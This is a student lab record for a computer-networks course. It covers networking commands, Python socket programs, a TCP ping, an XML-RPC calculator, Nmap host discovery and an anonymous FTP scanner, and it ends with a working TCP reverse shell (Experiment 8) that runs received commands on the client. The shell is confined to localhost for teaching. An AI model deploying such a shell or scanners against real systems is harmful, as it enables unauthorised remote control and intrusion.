Rajalakshmi Engineering College

Department of Cybersecurity

LABORATORY RECORD NOTE

Computer Networks (CS23532)

Name of the Student	Meenakshi S
Register Number	2116251901040
Class	II Year / Section A
Semester	III
Academic Year	2026-2027
Name of Lab In-charge	Seetha Lakshmi Mam

This record contains the aim, theory, procedure, programs, outputs, observations, results and viva answers for the fifteen experiments of the course, together with the supplementary appendices.

INDEX

S.No	Ex. No	Name of the Experiment	Date	Time	Sign
1	1A	Basic Networking Commands in Linux Operating System	12-10-2026	10:00 AM - 11:00 AM	
2	1B	Basic Networking Commands in Windows Operating System	12-10-2026	11:00 AM - 12:00 PM	
3	2	Study of Socket Programming in Python	19-10-2026	10:00 AM - 12:00 PM	
4	3	Customized Ping Command to Test the Server Connectivity	19-10-2026	02:00 PM - 03:30 PM	
5	4	Packet Sniffing Using Raw Sockets in Python	26-10-2026	10:00 AM - 12:00 PM	
6	5	Simple Calculator Using XML-RPC	26-10-2026	02:00 PM - 03:30 PM	
7	6	Nmap Live Host Discovery	02-11-2026	10:00 AM - 12:00 PM	
8	7	Anonymous FTP Scanner	02-11-2026	02:00 PM - 03:30 PM	
9	8	Reverse Shell Using TCP Sockets	09-11-2026	10:00 AM - 12:00 PM	
10	9	Design a Simple Topology Using Cisco Packet Tracer	09-11-2026	02:00 PM - 03:30 PM	
11	10	Customize Switch with Network Modules Using Cisco Packet Tracer	16-11-2026	10:00 AM - 12:00 PM	
12	11	Examining Network Address Translation (NAT) Using Cisco Packet Tracer	16-11-2026	02:00 PM - 03:30 PM	
13	12	To Capture, Save and Analyze Network Traffic Using Wireshark	23-11-2026	10:00 AM - 12:00 PM	
14	13	Network Forensics Using PcapXray Tool	23-11-2026	02:00 PM - 03:30 PM	
15	14	Learning and Assignment of IP Address Manually to Computers	30-11-2026	10:00 AM - 12:00 PM	
16	15	To Analyze the Different Types of Servers Using Webalizer Tool	30-11-2026	02:00 PM - 03:30 PM	
	App.	Appendices A to E (supplementary outputs)			

Ex. No. 1A : Basic Networking Commands in Linux Operating System

Experiment No.	1A	Date	12-10-2026
Time	10:00 AM - 11:00 AM	Signature of Staff	
Marks			

Aim

To study and execute the basic networking and system-monitoring commands available in the Linux operating system and interpret their output.

Theory / Introduction

A command-line interface is the most direct way to inspect and control a networked computer. Linux provides small utilities that report files, processes, memory, and network configuration. Each utility reads kernel data (for example from /proc and /sys) and prints it in a human-readable form.

The commands studied are: **ls** (list directory contents; -a shows hidden entries beginning with a dot, -l gives a long listing with permissions, owner, size and time), **echo** (print a string), **ps** (snapshot of processes; -e lists all processes), **cat** (concatenate and print files), **free** (memory usage; -h gives human-readable units), **rm** (remove files; -i asks before each deletion), **top** (live process view), **vmstat** (virtual memory, I/O and CPU statistics at a given interval), **ping** (ICMP echo test of reachability and round-trip time) and **ifconfig**/**ip addr** (view network interfaces and IP addresses).

In modern distributions ifconfig is part of the deprecated net-tools package, so the iproute2 command **ip addr** is the recommended replacement.

Apparatus / Requirements

- Ubuntu / Debian Linux machine or virtual machine with terminal access
- net-tools (optional, for ifconfig) and procps (for ps, free, top, vmstat)

Algorithm / Procedure

1. Open the terminal and confirm the working directory with pwd.
2. Run ls, ls -a and ls -l in the home directory and note hidden files and permissions.
3. Run echo and cat on a small text file created with echo ... > lab.txt.
4. Run ps, ps -e, free -h, top (press q to exit) and vmstat 1 3.
5. Create a temporary file, delete it with rm -i, and confirm the prompt.
6. Run ping -c 4 127.0.0.1 to test the loopback interface, then ip addr show or ifconfig to read the interface and IP details.

Commands

```
$ ls -la
$ echo "Computer Networks Lab" > lab.txt
$ cat lab.txt
$ ps -e | head -n 7
$ free -h
$ vmstat 1 3
$ rm -i temp.txt
$ ping -c 4 127.0.0.1
$ ip addr show
```

Important Notes

- The loopback address 127.0.0.1 always answers if the TCP/IP stack is working, so it is a good first test.
- The output of ps, top, free and vmstat changes every run; paste your own screenshot.

Output

Paste screenshot of the terminal showing ls -la, ps -e, free -h, vmstat 1 3, ping -c 4 127.0.0.1 and ip addr show.

Observation

The ping test to 127.0.0.1 shows 0% packet loss and a time close to 0.05 ms, confirming local IP stack functionality. The ip addr output lists lo (127.0.0.1/8) and the active Ethernet or Wi-Fi interface with its IPv4 address.

Result: Thus, the basic networking and system commands in the Linux operating system were studied and executed.

Viva Questions

1. What is the purpose of the ping command?

Ans: It sends ICMP echo requests to a host and reports whether it is reachable and how long replies take.

2. Which command displays network interfaces in Linux?

Ans: ip addr (modern) or ifconfig (older net-tools).

3. What does ls -l show that ls does not?

Ans: Permissions, number of links, owner, group, size and modification time.

4. What is the difference between ps and top?

Ans: ps is a one-time snapshot of processes; top is a continuously refreshing view.

5. What is the loopback address?

Ans: 127.0.0.1 (IPv4) refers to the local machine itself.

Ex. No. 1B : Basic Networking Commands in Windows Operating System

Experiment No.	1B	Date	12-10-2026
Time	11:00 AM - 12:00 PM	Signature of Staff	
Marks			

Aim

To study and execute the basic networking and system commands of the Windows Command Prompt and interpret their output.

Theory / Introduction

The Windows Command Prompt (cmd.exe) provides built-in and external utilities for file handling, process listing, IP configuration and connectivity testing. Many of these commands accept switches beginning with a slash (for example /all or /n).

Important networking commands are **ipconfig** (IP address, subnet mask and default gateway; /all gives MAC address and DNS details), **ping** (reachability and round-trip time; -n sets the count, -t pings continuously), **tracert** (path to a destination hop by hop; -d disables name resolution), **netstat** (active connections and listening ports; -a all, -n numeric, -o owning process ID), **arp -a** (IP to MAC mappings in the neighbour cache), and **nslookup** (DNS name lookup).

File and process commands used here are **cd**, **dir**, **cls**, **echo**, **del** (delete files; /P asks for confirmation), **find** (search text in files), **tasklist** (running processes) and **systeminfo** (OS configuration).

Apparatus / Requirements

- Windows 10 or 11 machine with Command Prompt access

Algorithm / Procedure

1. Open Command Prompt (cmd) and use cd to display the current directory; use dir to list it.
2. Run ipconfig and ipconfig /all and note the IPv4 address, subnet mask and default gateway.
3. Run ping -n 4 to the default gateway and then to 8.8.8.8; read the reply and loss statistics.
4. Run tracert -d 8.8.8.8 to view the hops, and arp -a to view the neighbour cache.
5. Run netstat -ano | findstr LISTENING to list listening ports with their process IDs.
6. Run tasklist, systeminfo and nslookup example.com; finally run cls to clear the screen.

Commands

```
C:\> cd
C:\> dir
C:\> ipconfig /all
C:\> ping -n 4 192.168.1.1
C:\> tracert -d 8.8.8.8
C:\> arp -a
C:\> netstat -ano | findstr LISTENING
C:\> tasklist
C:\> systeminfo
C:\> nslookup example.com
C:\> cls
```

Important Notes

- Replace 192.168.1.1 with the default gateway shown by ipconfig.

- A ping reply with TTL=128 or TTL=64 indicates a Windows or Linux host respectively, since the default TTL differs.

Output

Paste screenshot of Command Prompt showing ipconfig /all, ping, tracert -d, arp -a and netstat output.

Observation

ipconfig /all gives the adapter details used later in Experiment 14. A successful ping to the gateway proves the local link works, while a successful tracert shows how many hops the packets cross.

Result: Thus, the basic networking commands in the Windows operating system were studied and executed.

Viva Questions

1. What is the purpose of the ping command?

Ans: It checks whether a host or server is reachable and measures round-trip time.

2. What does ipconfig do in Windows?

Ans: It displays the IP configuration: IP address, subnet mask and default gateway for each adapter.

3. What is the use of tracert?

Ans: It shows the route, hop by hop, taken by packets to reach a destination.

4. What is the purpose of netstat?

Ans: It displays active connections and listening ports, with -o showing the owning process.

5. What does arp -a display?

Ans: The IP-to-MAC address mappings stored in the ARP cache.

Ex. No. 2 : Study of Socket Programming in Python

Experiment No.	2	Date	19-10-2026
Time	10:00 AM - 12:00 PM	Signature of Staff	
Marks			

Aim

To study the concepts of socket programming and implement TCP and UDP client-server communication in Python.

Theory / Introduction

A network socket is an endpoint of a two-way communication link between two processes. Python's **socket** module exposes the Berkeley socket API. A socket is identified by an IP address and a port number, and an application data exchange uses a pair of such endpoints.

TCP (SOCK_STREAM) is connection-oriented. The three-way handshake (SYN, SYN-ACK, ACK) establishes the session, and TCP provides reliable, ordered, error-checked byte-stream delivery with flow and congestion control. The server calls bind(), listen() and accept(); the client calls connect().

UDP (SOCK_DGRAM) is connectionless. Each datagram is sent independently with sendto() and received with recvfrom(). There is no handshake and no delivery guarantee, but the overhead is low, which suits DNS queries, streaming and games.

Typical choice: use TCP where completeness matters (file transfer, email, web) and UDP where latency matters more than perfect delivery.

Apparatus / Requirements

- Python 3.8 or later on one machine (client and server on localhost)

Algorithm / Procedure

1. SERVER (TCP): create a socket with AF_INET and SOCK_STREAM, bind to ('localhost', 55555), call listen(), accept a connection, receive with recv(1024), echo the message with send(), and close when the user types n.
2. CLIENT (TCP): create a socket, connect to ('localhost', 55555), send the typed message, receive the echo with recv(1024), print it and close.
3. SERVER (UDP): create a socket with AF_INET and SOCK_DGRAM, bind to ('localhost', 8000), wait with recvfrom(), print the message and return it with sendto(addr).
4. CLIENT (UDP): create a UDP socket, send the message with sendto() to ('localhost', 8000), receive the reply with recvfrom(), and ask whether to continue.

Program 2A - TCP Server (tcp_server.py)

```
import socket

sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket Created')
sockfd.bind(('localhost', 55555))
sockfd.listen(3)
print('Waiting for connections')
while True:
    clientfd, addr = sockfd.accept()
    received = clientfd.recv(1024).decode()
    print('Connected with', addr)
    print('Message Received from Client:', received)
    clientfd.send(received.encode('utf-8'))
    print('Message reply sent to Client!')
    clientfd.close()
    choice = input('Do you want to continue (y/n): ')
    if choice.lower() == 'n':
        break
sockfd.close()
```

Program 2B - TCP Client (tcp_client.py)

```
import socket

clientfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientfd.connect(('localhost', 55555))
msg = input('Enter your message: ')
clientfd.send(msg.encode('utf-8'))
print('Message Received from Server:', clientfd.recv(1024).decode())
clientfd.close()
```

Program 2C - UDP Server (udp_server.py)

```
import socket

sockfd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print('UDP Socket Created')
sockfd.bind(('localhost', 8000))
print('Waiting for messages...')
while True:
    data, addr = sockfd.recvfrom(1024)
    print('Message Received from Client:', data.decode())
    sockfd.sendto(data, addr)
    print('Message reply sent to Client!')
    choice = input('Do you want to continue (y/n): ')
    if choice.lower() == 'n':
        break
sockfd.close()
```

Program 2D - UDP Client (udp_client.py)

```
import socket

clientfd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
    msg = input('Enter message to send: ')
    clientfd.sendto(msg.encode(), ('localhost', 8000))
    data, addr = clientfd.recvfrom(1024)
    print('Message from Server:', data.decode())
    choice = input('Do you want to continue (y/n): ')
    if choice.lower() == 'n':
        break
clientfd.close()
```

Important Notes

- Start the server first in one terminal, then the client in another. Run the TCP pair and the UDP pair separately.
- Ports below 1024 need administrator rights; the ports used here are above that range.

Output

Paste screenshots: TCP server and client terminals, then UDP server and client terminals.

Observation

In TCP the server must be running before connect() succeeds; otherwise a 'connection refused' error appears. In UDP the client sends even if no server is running, and the failure appears only as a timeout while waiting for a reply.

Result: Thus, TCP and UDP client-server communication was studied and implemented using socket programming in Python.

Viva Questions

1. What is a socket?

Ans: An endpoint for sending and receiving data between two processes over a network, identified by IP address and port.

2. What are the two main socket types?

Ans: SOCK_STREAM (TCP, reliable and connection-oriented) and SOCK_DGRAM (UDP, connectionless).

3. What is the difference between TCP and UDP sockets?

Ans: TCP guarantees ordered, reliable delivery after a handshake; UDP is faster but gives no delivery or ordering guarantee.

4. Which Python module is used for socket programming?

Ans: The socket module (import socket).

5. What is the role of a server socket and a client socket?

Ans: The server listens and accepts requests; the client initiates the connection.

Ex. No. 3 : Customized Ping Command to Test the Server Connectivity

Experiment No.	3	Date	19-10-2026
Time	02:00 PM - 03:30 PM	Signature of Staff	
Marks			

Aim

To develop a customized ping program that tests the connectivity of a server by timing TCP connections to a port, and to compute the minimum, maximum and average round-trip time.

Theory / Introduction

The standard ping utility sends ICMP Echo Request messages and waits for Echo Reply messages. Some networks block ICMP, so ping may fail even when a server is running. A customized ping can use TCP instead: it times the three-way handshake to a known port (for example port 80 for HTTP), which gives a round-trip estimate and tests whether the service is listening.

Round-trip time (RTT) is the time from sending a request to receiving the reply. Statistics over several probes are useful: minimum RTT approximates the uncongested path delay, maximum RTT shows jitter, and the average gives typical latency. A timed-out or failed attempt counts as packet loss.

time.time() returns wall-clock seconds as a float, which is adequate for millisecond timing in this experiment. time.perf_counter() is the more accurate choice for benchmarking.

Apparatus / Requirements

- Python 3 and internet access (or a local server reachable on its port)

Algorithm / Procedure

1. Set host, port and count (for example google.com, 80, 4).
2. Create an empty list times to store RTT values.
3. For each probe: create a socket, record the start time, connect to (host, port), record the end time and close the socket.
4. Convert the difference to milliseconds, store it, and print the reply line. If connect() raises an exception, print 'Request timed out'.
5. After all probes, print the minimum, maximum and average RTT, and the packet loss percentage.

Program 3A - Basic Customized Ping (tcp_ping.py)

```
import socket
import time

host = 'google.com'
port = 80
count = 4

for i in range(count):
    try:
        s = socket.socket()
        s.settimeout(2)
        start = time.perf_counter()
        s.connect((host, port))
        end = time.perf_counter()
        s.close()
        print(f'Reply from {host}: time={(end - start) * 1000:.2f} ms')
    except Exception:
        print('Request timed out')
```

Program 3B - With Min, Max, Average and Loss (tcp_ping_stats.py)

```
import socket
import time

host = 'google.com'
port = 80
count = 4
times = []
lost = 0

for i in range(count):
    try:
        s = socket.socket()
        s.settimeout(2)
        start = time.perf_counter()
        s.connect((host, port))
        end = time.perf_counter()
        s.close()
        rtt = (end - start) * 1000
        times.append(rtt)
        print(f'Reply from {host}: time={rtt:.2f} ms')
    except Exception:
        lost += 1
        print('Request timed out')

if times:
    print(f'\nMin RTT = {min(times):.2f} ms')
    print(f'Max RTT = {max(times):.2f} ms')
    print(f'Avg RTT = {sum(times) / len(times):.2f} ms')
print(f'Packet loss = {lost / count * 100:.0f}%')
```

Important Notes

- settimeout(2) prevents the program from hanging on an unreachable host.
- Replace google.com with the server name or IP address under test, and 80 with the service port (for example 22 for SSH or 443 for HTTPS).

Output

Paste screenshot of the program output showing the individual replies and the Min / Max / Avg / loss summary.

Observation

The RTT values are close to each other when the path is stable. A large spread between minimum and maximum indicates jitter, and any 'Request timed out' line indicates loss.

Result: Thus, server connectivity was tested using a customized TCP-connect ping, and the minimum, maximum and average response times were displayed.

Viva Questions

1. What is the purpose of the ping command?

Ans: To check whether a host is reachable over the network and to measure round-trip time.

2. Which protocol does the standard ping use?

Ans: ICMP, with Echo Request and Echo Reply messages.

3. What is latency in a ping operation?

Ans: The time a packet takes to travel from source to destination and back, usually in milliseconds.

4. Why is the TCP-connect ping useful?

Ans: It works where ICMP is blocked and also confirms that the target port is open and accepting connections.

5. What does packet loss indicate?

Ans: Some probes did not get a reply, possibly due to congestion, a firewall or a failure.

Ex. No. 4 : Packet Sniffing Using Raw Sockets in Python

Experiment No.	4	Date	26-10-2026
Time	10:00 AM - 12:00 PM	Signature of Staff	
Marks			

Aim

To implement a packet sniffer using raw sockets in Python that captures Ethernet frames and displays source and destination MAC addresses and the protocol field.

Theory / Introduction

Packet sniffing is capturing packets that pass through a network interface so that they can be analysed for monitoring, troubleshooting and security investigation. A normal socket only receives data addressed to its own port. A raw socket receives whole frames or packets as they arrive, including headers.

An Ethernet II frame begins with a 14-byte header: a 6-byte destination MAC, a 6-byte source MAC and a 2-byte EtherType. EtherType 0x0800 means IPv4, 0x0806 means ARP and 0x86DD means IPv6. The program unpacks these fields with struct.unpack('!6s6s2s', ...), where '!' selects network (big-endian) byte order.

Raw sockets need administrator or root privileges because they expose traffic from other processes and users. Platform support differs: on Windows the socket is bound to the host IP and promiscuous mode is enabled with SIO_RCVALL; on Linux one uses socket.AF_PACKET with SOCK_RAW and the ETH_P_ALL protocol, which captures full Ethernet frames directly.

Apparatus / Requirements

- Python 3 with administrator (Windows) or sudo (Linux) privileges
- Windows Npcap is not required for this program; the socket API is used directly

Algorithm / Procedure

1. Obtain the local host IP with socket.gethostbyname(socket.gethostname()).
2. Create a raw IPv4 socket and bind it to (host IP, 0).
3. Enable promiscuous capture (SIO_RCVALL on Windows) and set IP_HDRINCL.
4. In an endless loop, call recvfrom(65536) to receive raw bytes.
5. Unpack the first 14 bytes into destination MAC, source MAC and protocol; format the MAC addresses with colons.
6. Print the fields and continue; stop with Ctrl+C and disable promiscuous mode before exit.

Program 4 - Ethernet Frame Sniffer (sniffer.py, Windows)

```
import socket
import struct

def main():
    host = socket.gethostbyname(socket.gethostname())
    print('IP: {}'.format(host))
    conn = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
    conn.bind((host, 0))
    conn.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    conn.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
    try:
        while True:
            raw_data, addr = conn.recvfrom(65536)
            dest_mac, src_mac, eth_proto, data = ethernet_frame(raw_data)
            print('\nEthernet Frame:')
            print('Destination MAC: {}'.format(dest_mac))
            print('Source MAC: {}'.format(src_mac))
            print('Protocol: {}'.format(eth_proto))
    except KeyboardInterrupt:
        conn.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

def ethernet_frame(data):
    dest_mac, src_mac, proto = struct.unpack('!6s6s2s', data[:14])
    return get_mac_addr(dest_mac), get_mac_addr(src_mac), get_protocol(proto), data[14:]

def get_mac_addr(bytes_addr):
    return ':'.join('{:02x}'.format(b) for b in bytes_addr).upper()

def get_protocol(bytes_proto):
    return ''.join('{:02x}'.format(b) for b in bytes_proto).upper()

if __name__ == '__main__':
    main()
```

Important Notes

- Run from an elevated Command Prompt on Windows. On Linux, a raw AF_PACKET socket is used instead, and sudo python3 is required.
- Capture only traffic on networks you own or are authorised to monitor.

Output

Paste screenshot of captured Ethernet frames (destination MAC, source MAC and protocol values).

Observation

Each frame shows a 12-hex-digit destination and source MAC pair. An EtherType of 0800 identifies IPv4 traffic, and 0806 identifies ARP.

Result: Thus, packet-sniffing concepts were implemented using Python raw sockets, and Ethernet frame fields were captured and displayed.

Viva Questions

1. **What is packet sniffing?**
   Ans: Capturing and analysing data packets that travel through a network.
2. **What is a raw socket?**
   Ans: A socket that gives direct access to packets, including their link and network headers.
3. **Why are administrator or root privileges required?**
   Ans: Raw sockets see other users' traffic, so the operating system restricts them for security and privacy.
4. **What is the EtherType 0800?**
   Ans: It indicates that the frame carries an IPv4 packet.
5. **What is the main purpose of packet sniffing?**
   Ans: Network monitoring, troubleshooting, performance analysis and security investigation.

Ex. No. 5 : Simple Calculator Using XML-RPC

Experiment No.	5	Date	26-10-2026
Time	02:00 PM - 03:30 PM	Signature of Staff	
Marks			

Aim

To develop a client-server calculator using XML-RPC in Python in which the client calls arithmetic functions on the remote server.

Theory / Introduction

XML-RPC is a remote procedure call protocol. The client encodes a method name and its parameters as an XML document, sends it in an HTTP POST request, and the server decodes it, runs the function and returns the result as XML. Because the message format is text-based and standard, client and server can be written in different languages.

Python provides xmlrpc.server.SimpleXMLRPCServer for the server and xmlrpc.client.ServerProxy for the client. A registered function is called on the client as if it were local, which hides the network from the caller.

Integer types are used for the parameters here. Note that in Python 3, the / operator gives a float, so the client should format division with %.2f rather than %d, which would truncate 2.4 to 2. A robust server also catches division by zero and returns a Fault to the client.

Apparatus / Requirements

- Python 3 (xmlrpc is in the standard library; no installation needed)

Algorithm / Procedure

1. SERVER: define add, sub, mul, div and mod (with a check for zero divisor); create SimpleXMLRPCServer on ('localhost', 8000); register each function; call serve_forever().
2. CLIENT: create ServerProxy('http://localhost:8000/'); read two integers; call each remote method and print the results; repeat five times.
3. Start the server first, then the client in another terminal.

Program 5A - XML-RPC Server (calc_server.py)

```
from xmlrpc.server import SimpleXMLRPCServer
from xmlrpc.server import SimpleXMLRPCRequestHandler

def add(a, b):
    return a + b

def sub(a, b):
    return a - b

def mul(a, b):
    return a * b

def div(a, b):
    if b == 0:
        raise ValueError('Division by zero')
    return a / b

def mod(a, b):
    if b == 0:
        raise ValueError('Modulo by zero')
    return a % b

server = SimpleXMLRPCServer(('localhost', 8000))
print('Listening on port 8000...')
for f in (add, sub, mul, div, mod):
    server.register_function(f, f.__name__)
server.serve_forever()
```

Program 5B - XML-RPC Client (calc_client.py)

```
import xmlrpc.client

proxy = xmlrpc.client.ServerProxy('http://localhost:8000/')
for i in range(5):
    a = int(input('Enter a number: '))
    b = int(input('Enter b number: '))
    print('addition of given number is %d' % proxy.add(a, b))
    print('sub of given number is %d' % proxy.sub(a, b))
    print('mul of given number is %d' % proxy.mul(a, b))
    try:
        print('div of given number is %.2f' % proxy.div(a, b))
        print('mod of given number is %d' % proxy.mod(a, b))
    except xmlrpc.client.Fault as e:
        print('Error from server:', e.faultString)
```

Output

Paste screenshots of the client and server terminals for one set of inputs (for example 12 and 5).

Observation

For 12 and 5 the expected values are add 17, sub 7, mul 60, div 2.40 and mod 2. The server log shows one request per remote call.

Result: Thus, a simple client-server calculator was developed using XML-RPC in Python.

Viva Questions

1. What is XML-RPC?

Ans: A protocol that lets a program call functions on another computer, using XML for data and HTTP as transport.

2. Which Python modules are used?

Ans: xmlrpc.server for the server and xmlrpc.client for the client.

3. Why is XML used in XML-RPC?

Ans: XML is a standard, platform-independent format for structured data.

4. What is a remote procedure call?

Ans: A technique that lets a program run a function on another computer as if it were local.

5. Why does %d give 2 for 12/5 in the earlier code?

Ans: %d truncates the float 2.4 to the integer 2; %.2f shows the real value.

Ex. No. 6 : Nmap Live Host Discovery

Experiment No.	6	Date	02-11-2026
Time	10:00 AM - 12:00 PM	Signature of Staff	
Marks			

Aim

To use Nmap to discover live hosts on a network using ARP, ICMP, and TCP/UDP ping probes, and to understand the effect of each probe type.

Theory / Introduction

Nmap (Network Mapper) is an open-source tool for network discovery and security auditing. Host discovery, also called ping scanning, decides which addresses are up before any port scanning starts. This saves time and reduces traffic on large subnets.

On a local Ethernet segment an ARP scan is the most reliable method, because every live host must answer ARP requests. Across routers ARP is not used, so Nmap falls back to ICMP echo, TCP SYN or ACK, or UDP probes. A host may still ignore all of these if a firewall filters them, so a host that does not respond is not necessarily offline.

Reverse-DNS lookup (-R, or the default behaviour for hosts that respond) asks the DNS server for names of the discovered IP addresses. Use -n to disable DNS resolution for speed.

Apparatus / Requirements

- Nmap installed (sudo apt install nmap, or the Windows installer)
- Access to the TryHackMe Nmap room or an authorised local lab network

Algorithm / Procedure

1. Read the Nmap room on TryHackMe and complete Tasks 1 to 8 as listed.
2. Run host discovery only: nmap -sn on the given subnet (no port scan).
3. Run an ARP scan on the local LAN with -PR, then ICMP echo with -PE.
4. Run TCP SYN and ACK probes (-PS, -PA) and a UDP probe (-PU) against a target that filters ICMP.
5. Compare the results and record which probe found which hosts.

Commands

```
nmap -sn 192.168.1.0/24          # host discovery only (no port scan)
nmap -PR 192.168.1.25            # ARP ping (local network)
nmap -PE 192.168.1.25            # ICMP echo ping
nmap -PS22,80 -PA80 192.168.1.25 # TCP SYN and ACK ping
nmap -PU53 192.168.1.25          # UDP ping
nmap -R -sn 192.168.1.0/24       # reverse-DNS lookup during discovery
```

Important Notes

- Scan only networks you are authorised to scan, such as the TryHackMe machines and your own lab.
- Use sudo for ARP and SYN probes, since they need raw socket access.

Output

Paste screenshot of the Nmap output from nmap -sn and from one ARP or TCP ping, with the number of hosts up.

Observation

The -sn output lists each live host with its latency. Hosts that answer ARP but not ICMP show that ICMP is filtered, which is a useful finding in an audit.

Result: Thus, Nmap host-discovery methods, including ARP, ICMP, and TCP/UDP probes, were studied on the TryHackMe lab platform.

Viva Questions

1. What is Nmap?

Ans: An open-source tool for network discovery, host identification and security auditing.

2. Which option performs host discovery only?

Ans: -sn, for example nmap -sn 192.168.1.0/24, which skips the port scan.

3. What is an ARP scan in Nmap?

Ans: It sends ARP requests to find active devices on a local network; it is very effective on LANs.

4. Why might a live host not reply to ping?

Ans: A firewall may block ICMP, so another probe type such as TCP SYN or ARP is needed.

5. What does -R do?

Ans: It forces reverse-DNS lookup for each discovered IP address.

Ex. No. 7 : Anonymous FTP Scanner

Experiment No.	7	Date	02-11-2026
Time	02:00 PM - 03:30 PM	Signature of Staff	
Marks			

Aim

To build an anonymous FTP scanner using Python's ftplib module that checks whether an FTP server allows anonymous login and lists its directory.

Theory / Introduction

File Transfer Protocol (FTP) uses two TCP connections: a control connection on port 21 for commands and replies, and a data connection for file contents. Standard FTP sends the username and password in clear text.

Some servers are configured for anonymous access, where the username is 'anonymous' (or 'ftp') and any e-mail address is accepted as the password. Such servers are often used for public mirrors. Checking for anonymous access is a standard item in a security audit, because an unexpectedly open server may expose private files.

The ftplib module provides the FTP class with login(), dir(), getwelcome() and retrbinary() for downloads. A reply code of 230 means the user is logged in.

Apparatus / Requirements

- Python 3 with the standard library (ftplib needs no installation)
- Internet access, or a local FTP server such as vsftpd for testing

Algorithm / Procedure

1. Import ftplib and define anonymousLogin(hostname).
2. Open an FTP connection to the host and log in as 'anonymous' with password 'anonymous'.
3. Print the server reply; if it contains '230', report success, print the welcome message and list the directory with dir().
4. On any exception, print the error and report that anonymous login failed.
5. Call the function with the target host name.

Program 7 - Anonymous FTP Scanner (ftp_scanner.py)

```
import ftplib

def anonymous_login(hostname):
    try:
        ftp = ftplib.FTP(hostname, timeout=10)
        response = ftp.login('anonymous', 'anonymous@example.com')
        print(response)
        if '230' in response:
            print('\n[*] ' + hostname + ' FTP Anonymous Login Succeeded.')
            print(ftp.getwelcome())
            ftp.dir()
        ftp.quit()
    except Exception as e:
        print(str(e))
        print('\n[-] ' + hostname + ' FTP Anonymous Login Failed.')

if __name__ == '__main__':
    anonymous_login('ftp.be.debian.org')
```

Important Notes

- Scan only servers you are authorised to test. Public mirrors such as ftp.be.debian.org are read-only and accept anonymous login.
- Use the timeout argument so that the scan does not hang on a silent host.

Output

Paste screenshot of the scanner output (login reply, welcome message and directory listing, or the failure message).

Observation

The reply code 230 confirms login. A '530' reply or a 'connection refused' error means the server rejects anonymous access or is not running FTP on port 21.

Result: Thus, an anonymous FTP scanner was developed using Python's ftplib module and tested against the configured lab target.

Viva Questions

1. What is FTP?

Ans: File Transfer Protocol, used to transfer files between a client and a server.

2. What is anonymous FTP login?

Ans: Accessing an FTP server without a personal account, using 'anonymous' as the username.

3. Which port does FTP use?

Ans: Port 21 for the control connection (port 20 was used for data in active mode).

4. Which reply code means login succeeded?

Ans: 230 (User logged in).

5. Which Python module implements an FTP client?

Ans: ftplib.

Ex. No. 8 : Reverse Shell Using TCP Sockets

Experiment No.	8	Date	09-11-2026
Time	10:00 AM - 12:00 PM	Signature of Staff	
Marks			

Aim

To understand and demonstrate a reverse shell using TCP sockets, in which a client connects back to a controller and executes commands, strictly inside an authorised lab on the local machine.

Theory / Introduction

A reverse shell is a connection in which the target (client) initiates a TCP connection outward to a controller (server), and the controller sends commands that the client executes. The direction is reversed compared with a normal remote shell, which is why firewalls that block inbound connections often allow it.

Because this technique is also used by attackers, the subject is studied defensively: how outbound connections appear in logs, how firewalls restrict outbound traffic, and how an intrusion detection system flags unusual shells. This program runs only on 127.0.0.1 for education, and must never be pointed at a machine you do not own or have written permission to test.

TCP is preferred because of its reliable, ordered delivery, so command text and output are not corrupted. The server uses threading so that more than one client can be handled.

Apparatus / Requirements

- Python 3 on one machine (server and client both on 127.0.0.1)
- Authorised lab environment; no external network access is used

Algorithm / Procedure

1. SERVER: create a TCP socket, bind to 127.0.0.1:9999, listen, accept a client in a thread, read commands from the operator, send them, and display the output until 'quit'.
2. CLIENT: connect to 127.0.0.1:9999; receive a command; handle 'cd' with os.chdir; run other commands with subprocess; send the output together with the current directory; exit on 'quit'.
3. Close the connection on both sides and record the observed commands and outputs.

Program 8A - Server (lab_server.py)

```
import socket
import threading

HOST = '127.0.0.1'
PORT = 9999

def handle_client(conn, addr):
    print(f'[+] Connection established with {addr[0]}:{addr[1]}')
    while True:
        try:
            command = input(f'{addr[0]}@shell> ')
            if command.lower() == 'quit':
                conn.send(command.encode())
                break
            if command.strip():
                conn.send(command.encode())
                print(conn.recv(4096).decode())
        except Exception as e:
            print(f'[!] Error: {e}')
            break
    conn.close()

def start_server():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((HOST, PORT))
    server.listen(5)
    print(f'[+] Listening on {HOST}:{PORT}')
    while True:
        conn, addr = server.accept()
        threading.Thread(target=handle_client, args=(conn, addr), daemon=True).start()

if __name__ == '__main__':
    start_server()
```

Program 8B - Client (lab_client.py)

```
import socket
import subprocess
import os

HOST = '127.0.0.1'
PORT = 9999

def connect_to_server():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((HOST, PORT))
    while True:
        try:
            command = client.recv(1024).decode()
            if command.lower() == 'quit':
                break
            if command.startswith('cd '):
                try:
                    os.chdir(command[3:].strip())
                    output = f'Changed directory to {os.getcwd()}'
                except Exception as e:
                    output = str(e)
            else:
                proc = subprocess.run(command, shell=True, capture_output=True, text=True)
                output = proc.stdout + proc.stderr
            client.send((output + '\n' + os.getcwd() + '> ').encode())
        except Exception as e:
            client.send(str(e).encode())
            break
    client.close()

if __name__ == '__main__':
    connect_to_server()
```

Important Notes

- Start the server before the client. Commands are typed only in the lab; do not use this against any other host.
- Once the 'quit' command is sent, both programs close the socket cleanly.

Output

Paste screenshot of the server terminal and the client terminal running whoami and pwd on 127.0.0.1.

Observation

The client connects to 127.0.0.1:9999 and returns the output of each command along with the working directory. Because both ends are on the same machine, no packet leaves the host.

Result: Thus, reverse-shell communication using TCP sockets was studied in a controlled lab environment.

Viva Questions

1. What is a reverse shell?

Ans: A session in which the client initiates the connection to the server and then executes the server's commands. It must be used only in authorised labs.

2. **What is the difference between a client and a server?**

   Ans: A server waits for incoming connections; a client initiates the connection.

3. **Why is TCP preferred for remote communication?**

   Ans: It gives reliable, ordered, error-checked delivery, so commands and output arrive intact.

4. **How can a defender detect a reverse shell?**

   Ans: By monitoring unusual outbound connections, shells spawned by server processes, and firewall logs.

